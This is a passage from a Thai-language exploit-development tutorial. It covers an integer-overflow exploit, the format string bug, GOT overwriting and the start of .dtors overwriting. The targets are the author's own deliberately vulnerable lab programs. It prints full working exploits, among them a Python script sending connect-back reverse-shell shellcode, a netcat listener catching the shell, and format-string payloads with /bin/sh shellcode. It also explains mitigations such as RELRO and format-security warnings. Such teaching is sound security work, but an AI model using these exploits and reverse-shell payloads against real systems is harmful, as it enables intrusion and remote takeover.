เมื่อเราสามารถให้โปรแกรมทำงานต่อไปได้ เรามาลองคิดดูว่าตอนนี้ len จะมีค่าเป็น 126+126=-4 ดังนั้นเราจะต้องใส่ค่าไปอีก 4+127=131 เพื่อให้โปรแกรมออกจาก while loop โดยค่าที่เราใส่เข้าไปจะไปทับข้อมูลใน buffer ที่เราส่งไปครั้งแรก ดังนั้นถ้าเราแก้ code แล้ว debug จะได้


import socket, time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

s.send("\x7f") # send datalen (127)
s.send("J"*126) # send junk 126 bytes

time.sleep(1)

s.send("A"*10 + "sebp" + "seip" + "\x04\x00\x00\x00" + "A"*104)
s.send("U"*131)
s.close()


$ gdb -q -p 1287
...
(gdb) b *0x8048634
Breakpoint 1 at 0x8048634
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 1500]
[Switching to process 1500]

Breakpoint 1, 0x08048634 in do_encrypt ()
(gdb) x/8x $ebp-0x88
0xbffff670:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff680:     0x55555555      0x55555555      0x55555555      0x55555555
(gdb) x/4x $ebp
0xbffff6f8:     0x70626573      0x70696573      0x00000004      0x41414141
(gdb) x/s $ebp
0xbffff6f8:      "sebpseip\004"

ตอนนี้เราได้ข้อมูลครบทุกอย่างสำหรับ exploit แล้ว (address ของ) เหลือเพียงแค่ shellcode โดยผมจะใช้ connect back shellcode ที่ผมเขียนไว้ใน "Linux x86 Shellcode" ซึ่งเป็นดังนี้


\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80

ในโปรแกรมนี้ ไม่มี badchar แต่ข้อมูลจะถูก xor ด้วย 0xaf ก่อนจบ function ดังนั้นเวลาเราส่งข้อมูลที่ถูกเก็บใน buffer เราต้อง xor กับ 0xaf ก่อน และถ้าดูที่ assembly ของ shellcode นี้จะเห็นว่ามีการใช้ push อยู่หลายครั้ง ซึ่งหมายความว่าต้องการใช้ stack ดังนั้นเราต้องไม่ใช่ esp อยู่ใกล้ shellcode ของเราเมื่อ shellocde กำลังทำงานอยู่ โดยผมจะใช้วิธีการเพิ่ม "add $0x80, %esp" เพื่อเลื่อน stack pointer ไปให้ห่างจาก shellcode

เมื่อรวมทุกอย่างเราจะได้โปรแกรม python ดังนี้ (ex_11_1.py)


import socket
import time
from struct import pack

# shellcode address
addr = 0xbffff690

# stack adjustment (add esp, 0x80) (6 bytes)
addesp = "\x81\xc4\x80\x00\x00\x00"
# reverse shell, connect back to 127.0.0.1:5555 (67 bytes)
rsh_sc = "\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

sc = addesp + rsh_sc

# first data to be sent
payload = "\x90"*(127 - len(sc)) + sc
payload_enc = "".join([ chr(ord(c) ^ 0xaf) for c in payload ])

# connect to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 55555))

# send datalen (127)
s.send("\x7f")

# send junk 126 bytes
s.send("J"*126)

# sleep 1 sec before sending again, so the data is not merged in 1 recv
time.sleep(1)

# send data to overwrite the eip and cause the "len" overflow (126 bytes)
# - junk 2 bytes to fill the buffer
# - junk 8 bytes
# - saved ebp 4 bytes
# - saved eip 4 bytes
# - the client_fd argv 4 bytes (4)
# - junk (126 - 17) bytes
s.send("A"*10 + "sebp" + pack("<I", addr) + pack("<I", 4) + "J"*(126 - 22))

# now "len" is overflown to be 126 + 126 = -4
# send 4 bytes to make recv buffer at the beginning again
s.send("\x00"*4)

# send the payload
s.send(payload_enc)

s.close()

ใช้ nc เพื่อ listen ที่่ port 5555 แล้ว run python โปรแกรมข้างบนจะได้


$ nc -vl 5555
Connection from 127.0.0.1 port 5555 [tcp/*] accepted
id
uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
exit

ทำได้แล้ว สำหรับตัวอย่างนี้อาจจะยากไปซักหน่อยสำหรับหลายๆ คน (ผมตั้งใจให้มันยากเอง ^.^) แต่ในบางครั้งเราจำเป็นต้องคิดถึงในหลายๆ เรื่อง เพื่อให้โปรแกรมทำงานต่อไปได้ ถึงแม้จะเกิด overflow ไปแล้ว เพื่อให้โปรแกรมทำงานจนถึง shellcode ที่เราใส่เข้าไป และใน application จริงอาจจะได้เจอโปรแกรมที่มีความซับซ้อนมากกว่านี้

Reference:
- http://www.phrack.org/issues.html?issue=60&id=10
- https://www.owasp.org/index.php/Integer_overflow

Format String Bug

2011-04-14T22:43:00.000+07:00

หลายคนคงเขียนใช้คำสั่ง printf ใน C มาแล้ว format string คือ argument ที่ชื่อว่า format ในตระกูล printf function เช่น printf, fprintf, sprintf เป็นต้น โดยคำสั่งเหล่านี้ สามารถดูรายละเอียดได้ด้วย "man 3 printf"

ฟังก์ชันในตระกูล printf จะรับ argument กี่ตัวก็ได้ โดยปกติเราจะใส่เพิ่มเท่ากับจำนวนตัวแปรที่เราใช้ใน format string เช่น


printf("%s %d %x", "Hello", 1234, 0xabcd);

format string คือ "%s %d %x" ซึ่งต้องการ argument 3 ตัว สำหรับ format string โดยวิธีการเรียก printf function จะเป็นแบบ cdecl (สำหรับคนที่ลืมว่าคืออะไร กลับไปดูได้ที่หัวข้อ Function กับ Stack) คือ argument จะส่งผ่านโดยการนำค่าลงใน stack

แต่ถ้าเราไม่ใส่ argument เพิ่มสำหรับ format string ฟังก์ชัน printf ก็ยังคงทำงานเสมือนเราส่งผ่าน argument ให้ โดยการดึงค่าของ argument ถัดไปจาก stack เรามาดูตัวอย่างกันเลยดีกว่า (ex_10_1.c) เมื่อ compile จะมี warning โดยผมจะพูดถึงทีหลัง


/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_10_1 ex_10_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char buf[512];
    strncpy(buf, argv[1], 510);
    printf(buf);
    
    exit(0);
}

อ่านค่าจาก memory

ในโปรแกรมนี้ จะเห็นว่า strncpy() นี้ ไม่มีการเกิด buffer overflow แต่ในบรรทัด printf นั้นจะเห็นว่า buf คือ format string ดังนั้น input ที่เราใส่เข้าไปจะเป็น format string ดังนั้นถ้าเราลอง


$ ./ex_10_1 "test" && echo
test
$ ./ex_10_1 "%s" && echo
%s
$ ./ex_10_1 "%s%s" && echo
Segmentation fault

ทำไมเกิด "Segmentation fault" เรามาลองดูใน gdb กันดีกว่า


$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
...
   0x08048460 <+44>:    lea    0x10(%esp),%eax
   0x08048464 <+48>:    mov    %eax,(%esp)
   0x08048467 <+51>:    call   0x8048354 <printf@plt>
...
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r "%s%s"
Starting program: /home/worawit/tutz/ch10/ex_10_1 "%s%s"

Breakpoint 1, 0x08048467 in main ()
(gdb) x/4x $esp
0xbffff4f0:     0xbffff500      0xbffff8ff      0x000001fe      0x00000000
(gdb) x/s 0xbffff500     # argument ตัวที่1 ของ printf คือ format string
0xbffff500:      "%s%s"
(gdb) x/s 0xbffff8ff     # argument สำหรับ %s แรก
0xbffff8ff:      "%s%s"
(gdb) x/s 0x000001fe     # argument สำหรับ %s ตัวที่สอง
0x1fe:   <Address 0x1fe out of bounds>

จะเห็นว่า argument สำหรับ %s ตัวที่สองนั้น เป็น address ที่ไม่สามารถอ้างถึงได้ ทำให้เกิด segmentation fault ดังนั้นถ้าเราเปลี่ยนจาก %s เป็น %x เพื่อดูค่าต่างๆ ทำให้เราสามารถอ่านค่าต่างๆ ที่อยู่ใน memory ได้ เช่น


$ ./ex_10_1 "%x %x %x %x" && echo
bffff90b 1fe 0 25207825
$ ./ex_10_1 "AAAAAAAA %x %x %x %x %x %x %x %x" && echo
AAAAAAAA bffff8f6 1fe 0 41414141 41414141 20782520 25207825 78252078

จะเห็นว่า เราสามารถ dump ค่าที่อยู่ใน stack ออกมาได้ และถ้าสังเกตค่า 41414141 ค่านี้คือตัวอักษร AAAA ซึ่งเป็น string ที่โปรแกรม copy ไปไว้ใน buf

จาก man page ของ printf เราสามารถที่จะอ้างถึง argument สำหรับ format string ตัวที่ต้องการได้โดยตรง ด้วยการใช้ $ modifier เช่นถ้าเราต้องการให้ print ค่าจาก argument ตัวที่ 4 ของ format string ก็จะเป็น %4$x


$ ./ex_10_1 "AAAA %4\$x" && echo
AAAA 41414141
$ ./ex_10_1 'AAAA %5$x' && echo
AAAA 24352520

ดังนั้น เมื่อเราใช้ $ modifier จะทำให้เราสามารถอ่านค่าจาก memory ในตำแหน่งที่ต้องการได้ เช่นตัวอย่างต่อไปนี้ที่ทำการ dump ค่าออกมา


$ for(( i = 1; i < 50; i++)); do echo -n "$i " && ./ex_10_1 "AAAABBBBCCCCDDDDEEEE1234567890_%$i\$x" && echo; done
1 AAAABBBBCCCCDDDDEEEE1234567890_bffff8f4
2 AAAABBBBCCCCDDDDEEEE1234567890_1fe
3 AAAABBBBCCCCDDDDEEEE1234567890_0
4 AAAABBBBCCCCDDDDEEEE1234567890_41414141
5 AAAABBBBCCCCDDDDEEEE1234567890_42424242
6 AAAABBBBCCCCDDDDEEEE1234567890_43434343
7 AAAABBBBCCCCDDDDEEEE1234567890_44444444
8 AAAABBBBCCCCDDDDEEEE1234567890_45454545
9 AAAABBBBCCCCDDDDEEEE1234567890_34333231
10 AAAABBBBCCCCDDDDEEEE1234567890_38373635
11 AAAABBBBCCCCDDDDEEEE1234567890_255f3039
12 AAAABBBBCCCCDDDDEEEE1234567890_78243231
13 AAAABBBBCCCCDDDDEEEE1234567890_0
...

เขียนค่าลงใน memory

หลังจากอ่านค่าจาก memory ไปแล้ว คราวนี้มาดูวิธีการเขียนค่าลงใน memory บ้าง ถ้าดูที่ "conversion specifier" ใน man page จะเห็นว่าตัว n ใช้สำหรับเขียนจำนวนตัวอักษรที่แสดงผลไปแล้ว ที่ address ที่ระบุใน argument ของ format string เช่น (ex_10_2.c)


/* gcc -o ex_10_2 ex_10_2.c */
#include <stdio.h>

int main(int argc, char **argv)
{
    unsigned int num;
    printf("%s\n%n", argv[1], &num);
    printf("num is %u\n", num);
    return 0;
}


$ ./ex_10_2 a
a
num is 2
$ ./ex_10_2 ab
ab
num is 3
$ ./ex_10_2 12
12
num is 3

จะเห็นว่า num จะเท่ากับจำนวนที่ printf ได้แสดงผลไปแล้ว (รวม \n ด้วยนะครับ)

กลับไปที่ตัวอย่างแรก จะเห็นว่าตอนเรา dump ค่าออกมา จะมีค่าที่เราใส่เข้าไปอยู่ใน stack ด้วย แสดงว่าถ้าเราใส่ค่าเป็น address ของที่เราต้องการที่จะเขียน แล้วใช้ format string %n เพื่อเขียนค่าเข้าไปในตำแหน่งที่เราต้องการ แต่เราจะเขียนทับที่ไหนดีละ

จริงๆ แล้วมีอยู่หลายที่จะเขียนทับได้ แต่ผมจะแสดงการเขียนทับ GOT entry ที่เก็บ address ของ exit function เอาไว้


$ objdump -R ./ex_10_1 | grep exit
08049648 R_386_JUMP_SLOT   exit

หลังจากได้ address เรามาลองเขียนทับกัน โดยจากที่เราทดสอบข้างบน ค่าใน buf จะเริ่มเป็น argument ของ format string ที่ตัวที่ 4 ดังนั้นเวลาเราใช้ $ modifier เราต้องอ้างให้ตรงกับตำแหน่งที่เราใส่ address ของ GOT entry ลงไป


$ gdb -q ./ex_10_1
Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.
(gdb) b *0x08048467
Breakpoint 1 at 0x8048467
(gdb) r `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0000000c    # ที่เป็น 12 เพราะ \x48\x96\x04\x0812345678

เราสามารถแก้ค่าของ GOT entry ได้แล้ว แต่ถ้าจำกันได้ ปกติค่าของ stack ที่เราจะใส่ shellcode จะมีค่าเป็น 0xbf?????? ปกติเราจะใส่จำนวนตัวอักษรที่ยาวขนาดนั้นไม่ได้ แต่เราสามารถที่จะกำหนดความยาวของค่าที่จะพิมพ์ได้ (อยู่ในหัวข้อ The field width ใน man page) เช่น %10d จะพิมพ์ทั้งหมด 10 ตัวอักษร ถ้าตัวเลขยาวไม่พอก็จะ pad ด้วยช่องว่างข้างหน้า

แต่ถ้าเราใส่ค่าขนาดนั้นเพื่อที่จะ print จะพบว่าแค่ print ก็ต้องใช้เวลานานมากๆ วิธีแก้ก็คือเขียน 2 รอบเพื่อแก้ค่าทีละ 2 bytes และเพื่อความสะดวก เราสามารถที่จะใช้ length modifier ตัว h ให้เป็น %hn เพื่อเขียนทีละ 2 bytes


(gdb) r `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x0804836a
(gdb) ni
... # ตัวอักษรที่ print ออกมา
0x0804846c in main ()
(gdb) x/x 0x08049648
0x8049648 <_GLOBAL_OFFSET_TABLE_+28>:   0x04080208  # คิดถึงเรื่อง endian ด้วย

หลังจากทดสอบว่าเราสามารถเขียนค่าได้แล้ว เราก็ต้องมาหา address ของ shellcode เพื่อเป็นค่าที่เราจะเขียนทับ GOT entry


$ ulimit -c unlimited
$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$hn%512x%5\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
Segmentation fault (core dumped)
$ gdb -q ./ex_10_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x04080208 in ?? ()
(gdb) x/20x $esp
0xbffff46c:     0x08048478      0x00000000      0xbffff865      0x000001fe
0xbffff47c:     0x00000000      0x08049648      0x0804964a      0x32313525
0xbffff48c:     0x24342578      0x35256e68      0x25783231      0x6e682435
0xbffff49c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4ac:     0x90909090      0x90909090      0x90909090      0x90909090

ได้ address คือ 0xbffff4b0 ซึ่งจะเห็นว่าค่า 0xf4b0 (62640) นั้นมากกว่า 0xbfff (49151) ดังนั้นผมจะทำการเขียนค่าที่ 0x0804964a ก่อน ซึ่งค่าความยาวที่เราต้องใส่สำหรับ %x แรกคือ 49151 - 8 = 49143 และ %x ที่สองคือ 62640 - 49143 = 13497 ทำให้เราได้ exploit ดังนี้


$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%49143x%5\\$hn%13497x%4\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`
...
$

ผ่านไปอีก 1 เทคนิค ก่อนจบกลับไปดูที่ warning ตอนแรกกันก่อน จะเห็นว่า gcc ได้มีการเตือนแล้วเราโค้ดแบบนี้ อาจจะมีปัญหาได้ ซึ่งทำให้ programmer ส่วนมากนั้น จะเจอ bug นี้ตั้งแต่ตอน compile ทำให้ bug นี้นั้น ไม่ค่อยเห็นอีกแล้วในปัจจุบัน และเรายังสามารถให้ gcc แสดงเป็น error สำหรับกรณีเฉพาะได้ด้วย -Werror=format-security


$ gcc -Werror=format-security -o test ex_10_1.c
ex_10_1.c: In function ‘main’:
ex_10_1.c:13: error: format not a string literal and no format arguments

Overwriting GOT

2011-04-10T15:22:00.002+07:00

Global Offset Table (GOT) คือตารางที่ใช้เก็บค่า address ของ function ต่างๆ ที่อยู่ใน Dynamic Shared Object (.so) เพื่อให้โปรแกรมหลักสามารถเรียกใช้งาน function เหล่านี้ได้

ถ้าเราลองดู assembly ของโปรแกรมด้วย gdb (ดูจากหัวข้อที่ผ่านมาก่อนได้) จะเห็นว่า function ที่เราเรียกใช้ใน libc จะมี @plt ต่อท้าย (PLT ย่อมาจาก Procedure Linkage Tble) โดย function ที่มี @plt (อยู่ใน .plt section) จะมีหน้าที่ในการหา address ของ function ที่อยู่ใน Shared Object แล้วใส่ค่าใน GOT เพื่อให้การเรียกครั้งต่อไปไม่ต้องมีการ resolve หา address ของ function ที่จะเรียกอีกรอบ (โดยปกติ เริ่มต้นโปรแกรมจะไม่มีการ resolve address ของ function ใน Shared Object จนกว่าจะมีการเรียก (Lazy Binding))

เพื่อให้เข้าใจ เรามาดูตัวอย่างกันเลยดีกว่า (ex_09_1.c)


/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_09_1 ex_09_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
 char *ptr;
 char buf[512];

 ptr = buf;
 strncpy(buf, argv[1], 516);
 printf("ptr address: %p\n", ptr);
 strncpy(ptr, argv[2], 4);
 printf("ptr address: %p\n", ptr);

 return 0;
}

เมื่อเราลอง disassemble main function จะเห็น strncpy@plt กับ printf@plt ตามนี้


$ gdb -q ./ex_09_1
Reading symbols from /home/worawit/tutz/ch09/ex_09_1...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483f4 <+0>:     push   %ebp
...
   0x08048423 <+47>:    mov    %eax,(%esp)
   0x08048426 <+50>:    call   0x8048310 <strncpy@plt>
   0x0804842b <+55>:    mov    $0x8048550,%eax
   0x08048430 <+60>:    mov    0x21c(%esp),%edx
   0x08048437 <+67>:    mov    %edx,0x4(%esp)
   0x0804843b <+71>:    mov    %eax,(%esp)
   0x0804843e <+74>:    call   0x8048330 <printf@plt>
...
   0x0804845e <+106>:   mov    %eax,(%esp)
   0x08048461 <+109>:   call   0x8048310 <strncpy@plt>
   0x08048466 <+114>:   mov    $0x8048550,%eax
   0x0804846b <+119>:   mov    0x21c(%esp),%edx
   0x08048472 <+126>:   mov    %edx,0x4(%esp)
   0x08048476 <+130>:   mov    %eax,(%esp)
   0x08048479 <+133>:   call   0x8048330 <printf@plt>
   0x0804847e <+138>:   mov    $0x0,%eax
   0x08048483 <+143>:   leave
   0x08048484 <+144>:   ret
End of assembler dump.

และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน strncpy@plt


(gdb) b *0x08048426
Breakpoint 1 at 0x8048426
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1 a b

Breakpoint 1, 0x08048426 in main ()
(gdb) si
0x08048310 in strncpy@plt ()
(gdb) disass
Dump of assembler code for function strncpy@plt:
=> 0x08048310 <+0>:     jmp    *0x8049660
   0x08048316 <+6>:     push   $0x8
   0x0804831b <+11>:    jmp    0x80482f0
End of assembler dump.
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048316

จะเห็นว่าใน strncpy@plt จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง push $0x8 ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function

และเมื่อดูใน printf@plt


(gdb) x/3i 0x8048330
   0x8048330 <printf@plt>:      jmp    *0x8049668
   0x8048336 <printf@plt+6>:    push   $0x18
   0x804833b <printf@plt+11>:   jmp    0x80482f0
(gdb) x/x 0x8049668
0x8049668 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048336

จะเห็นว่า printf@plt นั่นจะเหมือน strncpy@plt โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร

และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง


(gdb) b strncpy
Breakpoint 2 at 0x1b2a35
(gdb) c
Continuing.

Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x001b2a30
(gdb) x/5i 0x001b2a30
   0x1b2a30 <strncpy>:  push   %ebp
   0x1b2a31 <strncpy+1>:        mov    %esp,%ebp
   0x1b2a33 <strncpy+3>:        push   %edi
   0x1b2a34 <strncpy+4>:        push   %esi
=> 0x1b2a35 <strncpy+5>:        sub    $0x4,%esp

จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ

ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)

จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้

หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT

จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้


$ objdump -R ./ex_09_1

./ex_09_1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf

ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode


$ ulimit -c unlimited
$ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'`
ptr address: 0x41414141
Segmentation fault (core dumped)
$ gdb ./ex_09_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/12x $esp
0xbffff2fc:     0x41414141      0x00000000      0x00000000      0xbffff538
0xbffff30c:     0x08048466      0x41414141      0xbffff912      0x00000004
0xbffff31c:     0xbffff364      0xbffff370      0x00000070      0x0012c524
(gdb)
0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141

ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น


$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'`
ptr address: 0x8049668
$ ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
worawit   1245  1244  0 10:53 pts/0    00:00:02 -bash
worawit   1898  1245  0 13:57 pts/0    00:00:00 [sh]
worawit   1901  1898  0 13:58 pts/0    00:00:00 ps -f

เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้


$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c
$ objdump -R ./ex_09_1_2

./ex_09_1_2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
08049fec R_386_JUMP_SLOT   __gmon_start__
08049ff0 R_386_JUMP_SLOT   strncpy
08049ff4 R_386_JUMP_SLOT   __libc_start_main
08049ff8 R_386_JUMP_SLOT   printf
$ gdb ./ex_09_1_2
...
(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1_2

Breakpoint 1, 0x08048417 in main ()
(gdb) info proc
process 1297
cmdline = '/home/worawit/tutz/ch09/ex_09_1_2'
cwd = '/home/worawit/tutz/ch09'
exe = '/home/worawit/tutz/ch09/ex_09_1_2'
(gdb) shell grep ex_09 /proc/1297/maps
08048000-08049000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2
08049000-0804a000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2  # จะเห็นว่า GOT อยู่ใน section นี้
0804a000-0804b000 rwxp 00001000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2

Reference:
- http://www.iecc.com/linker/linker10.html
- http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html

Overwriting dtors

2011-02-25T22:17:00.000+07:00

ในหัวข้อนี้ ผมจะพูดถึงเทคนิคการเขียน exploit ด้วยการ overwrite C destructor ซึ่งเทคนิคนี้ ไม่สามารถใช้ได้แล้วใน GCC version ที่ใช้กันอยู่ แต่ที่พูดถึงก็เพื่อเป็นตัวอย่างในการศึกษา

หลายคนอาจไม่รู้ว่าใน glibc นั้นมี constructor และ destructor ด้วย วัตถุประสงค์จะเหมือนใน C++ คือส่วนที่ทำงานก่อนโปรแกรมจะเริ่มที่ main() และส่วนที่ทำงานก่อนโปรแกรมจะจบ (หลัง main()) รวมถึงการออกด้วย exit() เช่นตามตัวที่อย่างที่ 1 (ex_08_1.c)


/* gcc-3.4 -o ex_08_1 ex_08_1.c */
#include <stdio.h>

void test_ctor() __attribute__ ((constructor));
void test_dtor() __attribute__ ((destructor));

void test_ctor()
{
    printf("In ctor\n");
}

void test_dtor()
{
    printf("In dtor\n");
}

int main()
{
    printf("In main\n");
    printf("Address of test_ctor: %p\n", &test_ctor);
    printf("Address of test_dtor: %p\n", &test_dtor);
    return 0;
}

และเมื่อ compile ด้วย gcc-3 และ run จะได้ผลตามนี้


$ ./ex_08_1
In ctor
In main
Address of test_ctor: 0x804834c
Address of test_dtor: 0x8048360
In dtor

แล้วถ้าเราไล่ดู code จะพบว่า constructor นั้นถูกเรียกจาก __do_global_ctors_aux function และ destructor จะถูกเรียกจาก __do_global_dtors_aux โดย 2 functions นี้ เพิ่มขึ้นมาเมื่อเรา compile โปรแำกรมด้วย gcc

Note: สำหรับคนที่อยากไล่ด้วย gdb ให้ใช้คำสั่ง objdump -f ex_08_1 เพื่อดู entry point ของโปรแกรม แล้ว set breakpoint ที่ entry point ก่อนจะเริ่มโปรแกรม

โดย function list ของ constructor และ destructor นั้นจะถูกเก็บไว้ใน .ctors และ .dtors section ซึ่งสามารถดูได้ด้วยคำัสั่ง objdump ดังนี้


$ objdump -s -j .ctors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .ctors:
 80494e0 ffffffff 4c830408 00000000           ....L.......
$ objdump -s -j .dtors ex_08_1

ex_08_1:     file format elf32-i386

Contents of section .dtors:
 80494ec ffffffff 60830408 00000000           ....`.......

